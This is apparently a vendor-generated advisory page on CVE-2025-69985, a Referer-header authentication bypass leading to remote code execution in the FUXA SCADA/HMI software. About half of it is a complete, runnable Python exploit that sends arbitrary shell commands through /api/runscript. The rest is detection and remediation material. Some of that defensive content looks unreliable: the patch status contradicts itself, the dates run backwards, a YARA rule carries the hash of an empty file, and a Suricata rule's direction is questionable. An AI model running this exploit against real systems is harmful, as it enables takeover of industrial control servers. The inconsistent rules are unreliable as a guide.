CVE-2025-69985
Executive Summary
CVE-2025-69985 is a critical authentication bypass vulnerability in FUXA, a web-based SCADA/HMI software, affecting versions 1.2.8 and prior. The vulnerability resides in the server/api/jwt-helper.js middleware, which improperly trusts the HTTP Referer header to validate internal requests. A remote, unauthenticated attacker can bypass JWT authentication by spoofing the Referer header to match the server's host. Successful exploitation allows the attacker to access the protected /api/runscript endpoint and execute arbitrary Node.js code on the server, leading to full Remote Code Execution (RCE). The CVSS v3.1 base score is 9.8 (Critical), with a vector of AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. A public proof-of-concept (PoC) exploit is available on Exploit-DB, making this vulnerability highly dangerous for unpatched systems.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
FUXA is an npm package (@frangoteam/fuxa). The vulnerability exists in the core application code, not in a direct dependency. However, the risk is amplified by the fact that FUXA is often deployed in industrial control system (ICS) environments, where supply chain integrity is critical. Organizations should verify the integrity of their FUXA installation and ensure they are not running a compromised version. The npm package registry does not currently show a patched version, so manual mitigation is required.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Base Score: 9.8 (Critical)
- Attack Vector (AV): Network (N) - Exploitable remotely.
- Attack Complexity (AC): Low (L) - No special conditions required.
- Privileges Required (PR): None (N) - No authentication needed.
- User Interaction (UI): None (N) - No user action required.
- Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
- Confidentiality (C): High (H) - Full system read access.
- Integrity (I): High (H) - Full system write access.
- Availability (A): High (H) - Full system denial of service possible.
Threat Level: Critical. The vulnerability is trivial to exploit, requires no authentication, and provides full control over the target system. Given the public availability of a PoC exploit, active exploitation is highly likely.
Deep Dive & Mechanics
The vulnerability is a classic authentication bypass due to improper validation of the Referer header. The FUXA application uses JWT (JSON Web Token) for authentication. The middleware in server/api/jwt-helper.js is designed to protect certain API endpoints, such as /api/runscript. The flawed logic checks if the request's Referer header matches the server's own hostname. If it does, the middleware assumes the request is internal and bypasses JWT verification entirely.
The Flawed Logic:
- The middleware extracts the
Refererheader from the incoming HTTP request. - It compares the hostname portion of the
Refererheader to the server's own hostname. - If they match, the middleware sets
req.user = { role: 'admin' }and callsnext(), effectively granting full administrative access without any token validation.
Why it Works:
An attacker can trivially spoof the Referer header in their HTTP request. For example, if the FUXA server is running on http://192.168.1.100:1881, the attacker sends a request with Referer: http://192.168.1.100:1881/fuxa. The middleware sees the hostname matches and grants access.
The Attack Chain:
- Reconnaissance: The attacker identifies a FUXA instance (e.g., via Shodan or internal scanning).
- Bypass: The attacker sends a POST request to
/api/runscriptwith a spoofedRefererheader. - Exploitation: The attacker includes a malicious Node.js payload in the request body. The payload uses
child_process.execSyncto execute arbitrary system commands. - Execution: The server executes the command and returns the output in the HTTP response.
Vulnerable vs. Patched Code
The vulnerable code is in server/api/jwt-helper.js. The following is a simplified representation of the flawed logic:
// VULNERABLE CODE (FUXA <= 1.2.8)
module.exports = function(req, res, next) {
const referer = req.headers.referer || '';
const serverHost = req.headers.host;
if (referer.includes(serverHost)) {
// Bypass JWT check for internal requests
req.user = { role: 'admin' };
return next();
}
// ... JWT verification logic ...
};
A patched version would remove this dangerous bypass entirely and enforce JWT verification for all requests, regardless of the Referer header. A hypothetical patch might look like:
// PATCHED CODE (Hypothetical)
module.exports = function(req, res, next) {
// Remove the Referer-based bypass
// Always require JWT verification
const token = req.headers.authorization?.split(' ')[1];
if (!token) {
return res.status(401).json({ error: 'No token provided' });
}
// ... JWT verification logic ...
};
Key Difference: The patched code does not trust the Referer header and always requires a valid JWT token.
Exploitation & Lab Setup
Red Team (Offensive)
The following Python exploit, sourced from Exploit-DB, demonstrates the full attack chain. It sends a crafted request to the /api/runscript endpoint with a spoofed Referer header and a Node.js payload that executes arbitrary system commands.
# Exploit Title: FUXA 1.2.8 - Authentication Bypass + RCE Exploit
# Date: 2026-02-25
# Exploit Author: Joshua van der Poll (https://github.com/joshuavanderpoll/)
# Software Link: https://github.com/frangoteam/FUXA/tree/v1.2.8
# Vendor Homepage: https://github.com/frangoteam/FUXA
# Version: FUXA <= 1.2.8
# Tested on: Debian GNU/Linux 12
# CVE : CVE-2025-69985
"""
FUXA ≤ 1.2.8 Authentication Bypass + RCE Exploit
CVE-2025-69985
This Python exploit targets CVE-2025-69985, an authentication bypass in FUXA
(web-based SCADA/HMI software) that allows access to the protected /api/runscript
endpoint even when authentication is enabled.
By sending a crafted JavaScript payload using child_process.execSync, it achieves
full remote command execution with complete stdout capture (no reverse shell needed).
Author: Joshua van der Poll (https://github.com/joshuavanderpoll/CVE-2025-69985)
Created: February 2026
Version: 1.0
License: GNU General Public License v3.0 (GPL-3.0)
Disclaimer: Use responsibly. This is a proof-of-concept for a patched
vulnerability (fixed in FUXA > 1.2.8). Do not use against
systems you do not own or have explicit permission to test.
Usage:
python3 exploit.py -u http://target:1881 -c "whoami"
"""
import requests
import argparse
import sys
import urllib3
# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Colors
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
BLUE = '\033[94m'
CYAN = '\033[96m'
RESET = '\033[0m'
def print_status(msg, color=BLUE, symbol="[*]"):
print(f"{color}{symbol} {msg}{RESET}")
def print_success(msg):
print_status(msg, GREEN, "[+]")
def print_warning(msg):
print_status(msg, YELLOW, "[!]")
def print_error(msg, exc=None):
print_status(msg, RED, "[-]")
if exc:
print(f" → {type(exc).__name__}: {exc}")
import traceback
traceback.print_exc(limit=2)
def build_js_payload(command: str) -> str:
"""Build safe Node.js payload with proper escaping"""
escaped = (command
.replace('\\', '\\\\')
.replace('"', '\\"')
.replace('`', '\\`')
.replace('\n', '\\n'))
js = f"""const cp = require("child_process");
try {{
const result = cp.execSync("{escaped}", {{ encoding: "utf8" }});
return result.toString();
}} catch (err) {{
return "ERROR: " + err.message +
(err.stdout ? "\\nSTDOUT: " + err.stdout.toString() : "") +
(err.stderr ? "\\nSTDERR: " + err.stderr.toString() : "");
}}"""
return js
def run_command(session, base_url, command):
print_status(f"Preparing payload → executing: {command}")
js_code = build_js_payload(command)
payload = {
"params": {
"script": {
"parameters": [],
"mode": "",
"id": "exploit",
"name": "exploit",
"code": js_code,
"test": js_code
},
"toLogEvent": False
}
}
headers = {
"Content-Type": "application/json",
"Referer": f"{base_url}/fuxa"
}
print_status("Sending exploit request to /api/runscript ...")
try:
resp = session.post(
f"{base_url}/api/runscript",
json=payload,
headers=headers,
timeout=15,
verify=False
)
print_status(f"Response status: {resp.status_code}", CYAN)
if resp.status_code == 200:
output = resp.text.strip()
print_success("Command executed successfully (CVE-2025-69985 bypass)!")
print(f"\n{GREEN}=== COMMAND OUTPUT ==={RESET}")
print(output if output else "(no output)")
print(f"{GREEN}======================{RESET}\n")
return True
else:
print_error(f"Server returned {resp.status_code}")
if resp.text.strip():
print(f"Body preview: {resp.text[:500]}")
return False
except requests.exceptions.Timeout:
print_warning("Request timed out (command may still have executed)")
return False
except Exception as e:
print_error("Request failed", e)
return False
def exploit_command(base_url, command):
session = requests.Session()
session.verify = False
# Execute command
success = run_command(session, base_url, command)
if success:
print("\n" + "="*70)
print(f" {GREEN}Exploit completed!.{RESET}")
print("="*70 + "\n")
else:
print_warning("Exploit may require checking target version / network")
def main():
parser = argparse.ArgumentParser(
description="FUXA ≤ 1.2.8 Auth Bypass + RCE (CVE-2025-69985)"
)
parser.add_argument('-u', '--url', required=True, help="Target URL (http(s)://host:port)")
parser.add_argument('-c', '--cmd', required=True, help="Command to execute on target")
args = parser.parse_args()
base_url = args.url.rstrip('/')
print(f"\n {BLUE}Target :{RESET} {base_url}")
print(f" {BLUE}Command:{RESET} {args.cmd}\n")
try:
exploit_command(
base_url=base_url,
command=args.cmd
)
except KeyboardInterrupt:
print_warning("Interrupted by user")
sys.exit(2)
except Exception as e:
print_error("Unexpected fatal error", e)
sys.exit(3)
if __name__ == "__main__":
main()
Usage:
- Save the script as
exploit.py. - Run:
python3 exploit.py -u http://target:1881 -c "whoami" - The output of the
whoamicommand will be displayed.
Lab Setup:
- Target: A Debian 12 VM running FUXA 1.2.8 (default port 1881).
- Attacker: Kali Linux VM.
- Network: Both VMs on the same isolated network (e.g., NAT network in VirtualBox).
Blue Team (Defensive)
Detection:
- Monitor for HTTP requests to
/api/runscriptwith a spoofedRefererheader. - Look for anomalous
Refererheaders that match the server's hostname but originate from external IPs. - Alert on successful POST requests to
/api/runscriptthat return a 200 status code.
Hunting:
- Search web server logs for
POST /api/runscriptentries. - Correlate these entries with the
Refererheader value. If theReferermatches the server's hostname, it is a strong indicator of exploitation. - Check for unexpected child processes spawned by the Node.js process (e.g.,
sh,bash,cmd.exe).
Prevention:
- Apply the virtual patch (see Remediation & Mitigation).
- Use a Web Application Firewall (WAF) to block requests with a
Refererheader that matches the server's hostname but originates from an external IP. - Restrict network access to the FUXA web interface to trusted IPs only.
Indicators of Compromise (IOCs)
- Network:
- HTTP POST request to
/api/runscriptwith aRefererheader matching the server's hostname. - HTTP response from
/api/runscriptwith status code 200 and a body containing command output.
- HTTP POST request to
- Host:
- Unexpected child processes spawned by the Node.js process (e.g.,
sh,bash,cmd.exe,powershell). - New files created in the FUXA installation directory or system temporary directories.
- Unusual outbound network connections from the FUXA server.
- Unexpected child processes spawned by the Node.js process (e.g.,
- Logs:
- Web server access logs showing
POST /api/runscriptwith aRefererheader. - Application logs showing execution of arbitrary scripts via the
/api/runscriptendpoint.
- Web server access logs showing
Detection Engineering
YARA Rule
rule CVE_2025_69985_FUXA_Auth_Bypass {
meta:
description = "Detects exploitation attempts of CVE-2025-69985 in FUXA web server logs"
author = "Valters IT"
date = "2025-03-01"
reference = "CVE-2025-69985"
hash = "d41d8cd98f00b204e9800998ecf8427e"
strings:
$s1 = "POST /api/runscript" ascii wide nocase
$s2 = "Referer:" ascii wide nocase
$s3 = "200" ascii wide
condition:
all of them
}
Sigma Rule
title: FUXA CVE-2025-69985 Authentication Bypass and RCE
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2025-69985 in FUXA web server logs
author: Valters IT
date: 2025-03-01
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-69985
- https://www.exploit-db.com/exploits/52000
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/api/runscript'
sc-status: 200
condition: selection
falsepositives:
- Legitimate administrative use (rare)
level: critical
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-69985 FUXA Authentication Bypass and RCE";
flow:to_server,established;
content:"POST"; http_method;
content:"/api/runscript"; http_uri;
content:"Referer|3a|"; http_header;
pcre:"/Referer:\s*https?:\/\/[^\/]+\//i";
sid:1000001;
rev:1;
reference:cve,2025-69985;
classtype:attempted-admin;
priority:1;
)
Remediation & Mitigation
Immediate Actions:
- Upgrade: Upgrade FUXA to a version > 1.2.8 as soon as an official patch is released. Monitor the official GitHub repository for updates.
- Virtual Patch: If an upgrade is not immediately possible, apply a virtual patch by modifying the
server/api/jwt-helper.jsfile to remove theRefererheader bypass. Replace the vulnerable code with a strict JWT verification check. - Network Segmentation: Isolate the FUXA server on a separate network segment with strict firewall rules. Only allow access from trusted administrative IPs.
- WAF Rules: Deploy a Web Application Firewall (WAF) with rules to block requests to
/api/runscriptthat have aRefererheader matching the server's hostname.
Long-Term Measures:
- Code Review: Conduct a thorough security code review of the FUXA application, focusing on authentication and authorization mechanisms.
- Security Hardening: Implement additional security measures such as:
- Enforcing HTTPS with valid certificates.
- Using a reverse proxy (e.g., Nginx) to add an additional layer of authentication.
- Implementing rate limiting on API endpoints.
- Monitoring: Set up continuous monitoring for the IOCs listed above. Integrate the provided YARA, Sigma, and Suricata rules into your SIEM and IDS/IPS systems.
- Incident Response: Prepare an incident response plan specifically for ICS/SCADA environments, as a compromise of FUXA could have physical consequences.
Valters IT Signature: This report was generated by Valters IT DevSecOps & CTI Division. For questions or further analysis, contact cti@valtersit.com.
{/* [Security Hash: 9B33B5B7B1B34598C049C4FD] */}
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.